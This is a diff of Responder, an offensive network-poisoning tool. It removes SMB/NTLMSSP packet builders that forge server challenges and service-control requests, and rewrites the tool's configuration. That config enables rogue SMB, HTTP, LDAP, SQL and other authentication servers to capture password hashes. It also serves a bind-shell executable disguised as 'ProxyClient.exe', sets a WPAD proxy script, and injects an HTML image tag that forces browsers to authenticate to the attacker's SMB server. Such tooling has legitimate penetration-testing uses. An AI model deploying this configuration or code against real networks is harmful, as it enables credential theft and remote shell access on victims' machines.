-        self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
-        self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
-        ## Then convert to UTF-16LE, yeah it's weird..
-        self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
-        self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
-        self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
-        self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
-        self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
-
-
-
-class SMBDCESVCCTLOpenService(Packet):
-    fields = OrderedDict([
-        ("ContextHandle",        ""),
-        ("MaxCount",             "\x0c\x00\x00\x00"),
-        ("Offset",               "\x00\x00\x00\x00"),
-        ("ActualCount",          "\x0c\x00\x00\x00"),
-        ("ServiceName",          ""),
-        ("MachineNameNull",      "\x00\x00"),
-        ("AccessMask",           "\xff\x01\x0f\x00"),
-    ])
-
-    def calculate(self):
-        ## Calculate first
-        self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
-        self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
-        ## Then convert to UTF-16LE, yeah it's weird..
-        self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
-
-class SMBDCESVCCTLStartService(Packet):
-    fields = OrderedDict([
-        ("ContextHandle",        ""),
-        ("MaxCount",             "\x00\x00\x00\x00\x00\x00\x00\x00"),
-    ])
-
-def ParseAnswerKey(data,host):
-    key = data[73:81]
-    print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
-    return key
-
-##################################################################################
-#SMB Server Stuff
-##################################################################################
-
-#Calculate total SMB packet len.
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
-#Set MID SMB Header field.
-def midcalc(data):
-    pack=data[34:36]
-    return pack
-
-#Set UID SMB Header field.
-def uidcalc(data):
-    pack=data[32:34]
-    return pack
-
-#Set PID SMB Header field.
-def pidcalc(data):
-    pack=data[30:32]
-    return pack
-
-#Set TID SMB Header field.
-def tidcalc(data):
-    pack=data[28:30]
-    return pack
-
-#SMB Header answer packet.
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("errorcode", "\x00\x00\x00\x00" ),
-        ("flag1", "\x80"),
-        ("flag2", "\x00\x00"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\xff\xfe"),
-        ("uid", "\x00\x00"),
-        ("mid", "\x00\x00"),
-    ])
-
-#SMB Negotiate Answer packet.
-class SMBNegoAns(Packet):
-    fields = OrderedDict([
-        ("Wordcount",    "\x11"),
-        ("Dialect",      ""),
-        ("Securitymode", "\x03"),
-        ("MaxMpx",       "\x32\x00"),
-        ("MaxVc",        "\x01\x00"),
-        ("Maxbuffsize",  "\x04\x11\x00\x00"),
-        ("Maxrawbuff",   "\x00\x00\x01\x00"),
-        ("Sessionkey",   "\x00\x00\x00\x00"),
-        ("Capabilities", "\xfd\x43\x00\x00"),
-        ("Systemtime",   "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"),
-        ("Keylength",    "\x08"),
-        ("Bcc",          "\x10\x00"),
-        ("Key",          "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
-        ("Domain",       ""),
-
-    ])
-
-    def calculate(self):
-
-        ##Then calculate.
-        CompleteBCCLen =  str(self.fields["Key"])+str(self.fields["Domain"])
-        self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
-        self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
-
-# SMB Session/Tree Answer.
-class SMBSessTreeAns(Packet):
-    fields = OrderedDict([
-        ("Wordcount",       "\x03"),
-        ("Command",         "\x75"), 
-        ("Reserved",        "\x00"),
-        ("AndXoffset",      "\x4e\x00"),
-        ("Action",          "\x01\x00"),
-        ("Bcc",             "\x25\x00"),
-        ("NativeOs",        "Windows 5.1"),
-        ("NativeOsNull",    "\x00"),
-        ("NativeLan",       "Windows 2000 LAN Manager"),
-        ("NativeLanNull",   "\x00"),
-        ("WordcountTree",   "\x03"),
-        ("AndXCommand",     "\xff"),
-        ("Reserved1",       "\x00"),
-        ("AndxOffset",      "\x00\x00"),
-        ("OptionalSupport", "\x01\x00"),
-        ("Bcc2",            "\x08\x00"),
-        ("Service",         "A:"),
-        ("ServiceNull",     "\x00"),
-        ("FileSystem",      "NTFS"),
-        ("FileSystemNull",  "\x00"),
-
-    ])
-
-    def calculate(self):
-        ##AndxOffset
-        CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
-
-        self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]#SMB Header is *always* 32.
-        ##BCC 1 and 2
-        CompleteBCCLen =  str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
-        self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
-        CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
-        self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
-
-class SMBSessEmpty(Packet):
-    fields = OrderedDict([
-        ("Empty",       "\x00\x00\x00"),
-    ])
-

Responder.conf

@@ -1,55 +1,99 @@
 [Responder Core]
-;;
-;Set these values to On or Off, so you can control which rogue authentication server is turned on.
+
+; Servers to start
 SQL = On
 SMB = On
+Kerberos = On
 FTP = On
 POP = On
-;;Listen on 25/TCP, 587/TCP
 SMTP = On
 IMAP = On
 HTTP = On
 HTTPS = On
 DNS = On
 LDAP = On
-;
-;Set a custom challenge
-Challenge = 1122334455667788
-;
-;Set this to change the default logging file 
+
+; Custom challenge. 
+; Use "Random" for generating a random challenge for each requests (Default)
+Challenge = Random
+
+; SQLite Database file
+; Delete this file to re-capture previously captured hashes
+Database = Responder.db
+
+; Default log file
 SessionLog = Responder-Session.log
-;
-;Set this options with your in-scope targets. Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
-;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
+
+; Poisoners log
+PoisonersLog = Poisoners-Session.log
+
+; Analyze mode log
+AnalyzeLog = Analyzer-Session.log
+
+; Dump Responder Config log:
+ResponderConfigDump = Config-Responder.log
+
+; Specific IP Addresses to respond to (default = All)
+; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
 RespondTo =
-;
+
+; Specific NBT-NS/LLMNR names to respond to (default = All)
+; Example: RespondTo = WPAD, DEV, PROD, SQLINT
+RespondToName = 
+
+; Specific IP Addresses not to respond to (default = None)
+; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
+DontRespondTo =
+
+; Specific NBT-NS/LLMNR names not to respond to (default = None)
+; Example: DontRespondTo = NAC, IPS, IDS
+DontRespondToName = ISATAP
+
+; If set to On, we will stop answering further requests from a host
+; if a hash has been previously captured for this host.
+AutoIgnoreAfterSuccess = Off
+
+; If set to On, we will send ACCOUNT_DISABLED when the client tries
+; to authenticate for the first time to try to get different credentials.
+; This may break file serving and is useful only for hash capture
+CaptureMultipleCredentials = On
+
+; If set to On, we will write to file all hashes captured from the same host. 
+; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, 
+; domain\popo, domain\zozo. Recommended value: On, capture everything.
+CaptureMultipleHashFromSameHost = On
+
 [HTTP Server]
-;;
-;Set this to On if you want to always serve a specific file to the victim.
+
+; Set to On to always serve the custom EXE
 Serve-Always = Off
-;
-;Set this to On if you want to serve an executable file each time a .exe is detected in an URL.
+
+; Set to On to replace any requested .exe with the custom EXE
 Serve-Exe = Off
-;
-;Uncomment and specify a custom file to serve, the file must exist.
-Filename = Denied.html
-;
-;Specify a custom executable file to serve, the file must exist. 
-ExecFilename = FixInternet.exe
-;
-;Set your custom PAC script
-WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
-;
-;HTML answer to inject.
-;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.
-;Also, the HTML has to be in this format "<html> Payload goes here...</html>".
-HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='2'></body></html> 
-;
+
+; Set to On to serve the custom HTML if the URL does not contain .exe
+; Set to Off to inject the 'HTMLToInject' in web pages instead
+Serve-Html = Off
+
+; Custom HTML to serve
+HtmlFilename = files/AccessDenied.html
+
+; Custom EXE File to serve
+ExeFilename = files/BindShell.exe
+
+; Name of the downloaded .exe that the client will see
+ExeDownloadName = ProxyClient.exe
+
+; Custom WPAD Script
+WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
+
+; HTML answer to inject in HTTP responses (before </body> tag).
+; Set to an empty string to disable.
+; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
+HTMLToInject = <img src='file://RespProxySrv/pictures/logo.jpg' alt='Loading' height='1' width='1'>
+
 [HTTPS Server]
-;
-;Change to use your certs
-cert = Certs/responder.crt
-key = Certs/responder.key
-;
-
 
+; Configure SSL Certificates to use
+SSLCert = certs/responder.crt
+SSLKey = certs/responder.key

SMBPackets.py

@@ -1,398 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-# 
-# You should have received a copy of the GNU General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-import struct
-from odict import OrderedDict
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-#Calculate total SMB packet len.
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
-#Set MID SMB Header field.
-def midcalc(data):
-    pack=data[34:36]
-    return pack
-
-#Set UID SMB Header field.
-def uidcalc(data):
-    pack=data[32:34]
-    return pack
-
-#Set PID SMB Header field.
-def pidcalc(data):
-    pack=data[30:32]
-    return pack
-
-#Set TID SMB Header field.
-def tidcalc(data):
-    pack=data[28:30]
-    return pack
-
-
-##################################################################################
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("errorcode", "\x00\x00\x00\x00" ),
-        ("flag1", "\x00"),
-        ("flag2", "\x00\x00"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\x00\x00"),
-        ("uid", "\x00\x00"),
-        ("mid", "\x00\x00"),
-    ])
-##################################################################################
-#SMB Negotiate Answer LM packet.
-class SMBNegoAnsLM(Packet):
-    fields = OrderedDict([
-        ("Wordcount",    "\x11"),
-        ("Dialect",      ""),
-        ("Securitymode", "\x03"),
-        ("MaxMpx",       "\x32\x00"),
-        ("MaxVc",        "\x01\x00"),
-        ("Maxbuffsize",  "\x04\x41\x00\x00"),
-        ("Maxrawbuff",   "\x00\x00\x01\x00"),
-        ("Sessionkey",   "\x00\x00\x00\x00"),
-        ("Capabilities", "\xfc\x3e\x01\x00"),
-        ("Systemtime",   "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
-        ("Srvtimezone",  "\x2c\x01"),
-        ("Keylength",    "\x08"),
-        ("Bcc",          "\x10\x00"),
-        ("Key",          ""),
-        ("Domain",       "SMB"),
-        ("DomainNull",   "\x00\x00"),
-        ("Server",       "SMB-TOOLKIT"),
-        ("ServerNull",   "\x00\x00"),
-    ])
-
-    def calculate(self):
-        ##Convert first..
-        self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
-        self.fields["Server"] = self.fields["Server"].encode('utf-16le')
-        ##Then calculate.
-        CompleteBCCLen =  str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
-        self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
-        self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
-##################################################################################
-#SMB Negotiate Answer LM packet.
-class SMBNegoAns(Packet):
-    fields = OrderedDict([
-        ("Wordcount",    "\x11"),
-        ("Dialect",      ""),
-        ("Securitymode", "\x03"),
-        ("MaxMpx",       "\x32\x00"),
-        ("MaxVc",        "\x01\x00"),
-        ("MaxBuffSize",  "\x04\x41\x00\x00"),
-        ("MaxRawBuff",   "\x00\x00\x01\x00"),
-        ("SessionKey",   "\x00\x00\x00\x00"),
-        ("Capabilities", "\xfd\xf3\x01\x80"),
-        ("SystemTime",   "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
-        ("SrvTimeZone",  "\xf0\x00"),
-        ("KeyLen",    "\x00"),
-        ("Bcc",          "\x57\x00"),
-        ("Guid",         "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
-        ("InitContextTokenASNId",     "\x60"),
-        ("InitContextTokenASNLen",    "\x5b"),
-        ("ThisMechASNId",             "\x06"),
-        ("ThisMechASNLen",            "\x06"),
-        ("ThisMechASNStr",            "\x2b\x06\x01\x05\x05\x02"),
-        ("SpNegoTokenASNId",          "\xA0"),
-        ("SpNegoTokenASNLen",         "\x51"),
-        ("NegTokenASNId",             "\x30"),
-        ("NegTokenASNLen",            "\x4f"),
-        ("NegTokenTag0ASNId",         "\xA0"),
-        ("NegTokenTag0ASNLen",        "\x30"),
-        ("NegThisMechASNId",          "\x30"),
-        ("NegThisMechASNLen",         "\x2e"),
-        ("NegThisMech4ASNId",         "\x06"),
-        ("NegThisMech4ASNLen",        "\x09"),
-        ("NegThisMech4ASNStr",        "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
-        ("NegTokenTag3ASNId",         "\xA3"),
-        ("NegTokenTag3ASNLen",        "\x1b"),
-        ("NegHintASNId",              "\x30"),
-        ("NegHintASNLen",             "\x19"),
-        ("NegHintTag0ASNId",          "\xa0"),
-        ("NegHintTag0ASNLen",         "\x17"),
-        ("NegHintFinalASNId",         "\x1b"), 
-        ("NegHintFinalASNLen",        "\x15"),
-        ("NegHintFinalASNStr",        "server2008$@SMB.LOCAL"),
-##  END
-
-    ])
-
-    def calculate(self):
-
-        CompleteBCCLen1 =  str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
-
-        AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
-
-        AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
-
-        MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
-
-        Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
-
-        self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
-        self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
-        self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
-        self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
-        self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
-        self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
-        self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
-        self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
-        self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
-        self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
-        self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
-        self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
-
-################################################################################
-
-class SMBSession1Data(Packet):
-    fields = OrderedDict([
-        ("Wordcount",             "\x04"),
-        ("AndXCommand",           "\xff"),
-        ("Reserved",              "\x00"),
-        ("Andxoffset",            "\x5f\x01"),
-        ("Action",                "\x00\x00"),
-        ("SecBlobLen",            "\xea\x00"),
-        ("Bcc",                   "\x34\x01"),
-        ("ChoiceTagASNId",        "\xa1"), 
-        ("ChoiceTagASNLenOfLen",  "\x81"), 
-        ("ChoiceTagASNIdLen",     "\x00"),
-        ("NegTokenTagASNId",      "\x30"),
-        ("NegTokenTagASNLenOfLen","\x81"),
-        ("NegTokenTagASNIdLen",   "\x00"),
-        ("Tag0ASNId",             "\xA0"),
-        ("Tag0ASNIdLen",          "\x03"),
-        ("NegoStateASNId",        "\x0A"),
-        ("NegoStateASNLen",       "\x01"),
-        ("NegoStateASNValue",     "\x01"),
-        ("Tag1ASNId",             "\xA1"),
-        ("Tag1ASNIdLen",          "\x0c"),
-        ("Tag1ASNId2",            "\x06"),
-        ("Tag1ASNId2Len",         "\x0A"),
-        ("Tag1ASNId2Str",         "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
-        ("Tag2ASNId",             "\xA2"),
-        ("Tag2ASNIdLenOfLen",     "\x81"),
-        ("Tag2ASNIdLen",          "\xED"),
-        ("Tag3ASNId",             "\x04"),
-        ("Tag3ASNIdLenOfLen",     "\x81"),
-        ("Tag3ASNIdLen",          "\xEA"),
-        ("NTLMSSPSignature",      "NTLMSSP"),
-        ("NTLMSSPSignatureNull",  "\x00"),
-        ("NTLMSSPMessageType",    "\x02\x00\x00\x00"),
-        ("NTLMSSPNtWorkstationLen","\x1e\x00"),
-        ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
-        ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
-        ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
-        ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
-        ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("NTLMSSPNtTargetInfoLen","\x94\x00"),
-        ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
-        ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
-        ("NegTokenInitSeqMechMessageVersionHigh","\x05"),
-        ("NegTokenInitSeqMechMessageVersionLow","\x02"),
-        ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
-        ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
-        ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
-        ("NTLMSSPNtWorkstationName","SMB12"),
-        ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
-        ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
-        ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
-        ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"), 
-        ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"), 
-        ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
-        ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
-        ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
-        ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
-        ("NTLMSSPNTLMPadding",             ""),
-        ("NativeOs","Windows Server 2003 3790 Service Pack 2"),                           
-        ("NativeOsTerminator","\x00\x00"),
-        ("NativeLAN", "Windows Server 2003 5.2"),
-        ("NativeLANTerminator","\x00\x00"),
-    ])
-
-
-    def calculate(self):
-
-        ##Convert strings to Unicode first...
-        self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
-        self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
-        self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
-        self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
-
-        ###### SecBlobLen Calc:
-        AsnLen= str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
-
-        CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
-
-        ##### Bcc len
-        BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
-        #SecBlobLen
-        self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob))
-        self.fields["Bcc"] = struct.pack("<h", len(BccLen))
-        self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
-        self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6)
